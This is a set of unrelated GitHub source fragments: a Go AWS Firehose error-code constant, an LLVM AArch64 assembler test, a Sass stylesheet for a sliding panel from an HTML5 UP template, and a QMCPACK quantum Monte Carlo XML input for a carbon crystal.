ErrCodeServiceUnavailableException for service response error code // "ServiceUnavailableException". // // The service is unavailable, back off and retry the operation. If you continue // to see the exception, throughput limits for the delivery stream may have // been exceeded. For more information about limits and how to request an increase, // see Amazon Kinesis Firehose Limits (http://docs.aws.amazon.com/firehose/latest/dev/limits.html). ErrCodeServiceUnavailableException = "ServiceUnavailableException" )
{ "pile_set_name": "Github" }
// RUN: llvm-mc -triple aarch64-elf -filetype=obj %s -o - | llvm-objdump -d -r - | FileCheck %s .macro do_add sz add v0.\sz, v0.\sz, v0.\sz .endm do_add 8h // CHECK: add v0.8h, v0.8h, v0.8h
{ "pile_set_name": "Github" }
/// /// Multiverse by HTML5 UP /// html5up.net | @n33co /// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license) /// /* Panel */ .panel { @include padding(4em, 4em); @include vendor('transform', 'translateY(100vh)'); @include vendor('transition', 'transform #{_duration(panel)} ease'); -webkit-overflow-scrolling: touch; background: transparentize(_palette(bg), 0.025); bottom: _size(header); left: 0; max-height: calc(80vh - #{_size(header)}); overflow-y: auto; position: fixed; width: 100%; z-index: _misc(z-index-base) + 1; &.active { @include vendor('transform', 'translateY(1px)'); } > .inner { margin: 0 auto; max-width: 100%; width: 75em; &.split { @include vendor('display', 'flex'); > div { margin-left: 4em; width: 50%; } > :first-child { margin-left: 0; } } } > .closer { @include vendor('transition', 'opacity #{_duration(transition)} ease-in-out'); background-image: url('images/close.svg'); background-position: center; background-repeat: no-repeat; background-size: 3em; cursor: pointer; height: 5em; opacity: 0.25; position: absolute; right: 0; top: 0; width: 5em; z-index: 2; &:hover { opacity: 1.0; } } @include breakpoint(large) { @include padding(3em, 3em); > .inner { &.split { > div { margin-left: 3em; } } } > .closer { background-size: 2.5em; background-position: 75% 25%; } } @include breakpoint(medium) { > .inner { &.split { @include vendor('flex-direction', 'column'); > div { margin-left: 0; width: 100%; } } } } @include breakpoint(small) { @include vendor('transform', 'translateY(-100vh)'); @include padding(4em, 2em); bottom: auto; top: calc(#{_size(header)} - 1px); &.active { @include vendor('transform', 'translateY(0)'); } } }
{ "pile_set_name": "Github" }
<?xml version="1.0"?> <simulation> <project id="qmc_short_kspace_4_4" series="0"> <application name="qmcapp" role="molecu" class="serial" version="1.0"/> </project> <qmcsystem> <simulationcell> <parameter name="lattice" units="bohr"> 3.37316115 3.37316115 0.00000000 0.00000000 3.37316115 3.37316115 3.37316115 0.00000000 3.37316115 </parameter> <parameter name="bconds"> p p p </parameter> <parameter name="LR_dim_cutoff" > 15 </parameter> </simulationcell> <particleset name="e" random="yes"> <group name="u" size="4" mass="1.0"> <parameter name="charge" > -1 </parameter> <parameter name="mass" > 1.0 </parameter> </group> <group name="d" size="4" mass="1.0"> <parameter name="charge" > -1 </parameter> <parameter name="mass" > 1.0 </parameter> </group> </particleset> <particleset name="ion0"> <group name="C" size="2" mass="21894.7135906"> <parameter name="charge" > 4 </parameter> <parameter name="valence" > 4 </parameter> <parameter name="atomicnumber" > 6 </parameter> <parameter name="mass" > 21894.7135906 </parameter> <attrib name="position" datatype="posArray" condition="0"> 0.00000000 0.00000000 0.00000000 1.68658058 1.68658058 1.68658058 </attrib> </group> </particleset> <wavefunction name="psi0" target="e"> <determinantset type="einspline" href="pwscf.pwscf.h5" tilematrix="1 0 0 0 1 0 0 0 1" twistnum="0" source="ion0" meshfactor="1.0" precision="float"> <slaterdeterminant> <determinant id="updet" size="4"> <occupation mode="ground" spindataset="0"/> </determinant> <determinant id="downdet" size="4"> <occupation mode="ground" spindataset="0"/> </determinant> </slaterdeterminant> </determinantset> <jastrow type="One-Body" name="J1" function="bspline" source="ion0" print="yes"> <correlation elementType="C" size="8" cusp="0.0"> <coefficients id="eC" type="Array"> -0.3172516203 -0.2714551466 -0.2368308755 -0.1959509965 -0.149673524 -0.1006788799 -0.05799436967 -0.02665568718 </coefficients> </correlation> </jastrow> <jastrow type="Two-Body" name="J2" function="bspline" print="yes"> <correlation speciesA="u" speciesB="u" size="8"> <coefficients id="uu" type="Array"> 0.1565069657 0.09355554336 0.05545579912 0.03036465466 0.01435568497 0.006079234192 0.002239268468 0.0004061168885 </coefficients> </correlation> <correlation speciesA="u" speciesB="d" size="8"> <coefficients id="ud" type="Array"> 0.3471853819 0.2358509257 0.1524282487 0.09492328518 0.05658982415 0.03179902398 0.01573872491 0.006318590212 </coefficients> </correlation> </jastrow> <jastrow type="kSpace" name="Jk" source="ion0"> <correlation kc="4.0" type="One-Body" symmetry="cystal"> <coefficients id="cG1" type="Array"> 0.1677864259 0.07820325644 -0.6566847458 -0.02628407681 -0.07400038353 0.01567881686 0.03340956598 -0.02233451109 </coefficients> </correlation> <correlation kc="4.0" type="Two-Body" symmetry="crystal"> <coefficients id="cG2" type="Array"> -0.7187512443 -0.4334973599 -0.04630107772 -0.01242607163 0.00287093506 -0.003361327138 </coefficients> </correlation> </jastrow> </wavefunction> <hamiltonian name="h0" type="generic" target="e"> <pairpot type="coulomb" name="ElecElec" source="e" target="e"/> <pairpot type="coulomb" name="IonIon" source="ion0" target="ion0"/> <pairpot type="pseudo" name="PseudoPot" source="ion0" wavefunction="psi0" format="xml"> <pseudo elementType="C" href="C.BFD.xml"/> </pairpot> <estimator type="flux" name="Flux"/> </hamiltonian> </qmcsystem> <qmc method="vmc" move="pbyp"> <estimator name="LocalEnergy" hdf5="no"/> <parameter name="walkers" > 1 </parameter> <parameter name="blocks" > 1000 </parameter> <parameter name="steps" > 8.0 </parameter> <parameter name="subSteps" > 2 </parameter> <parameter name="timestep" > 0.3 </parameter> <parameter name="warmupSteps" > 100 </parameter> </qmc> </simulation>
{ "pile_set_name": "Github" }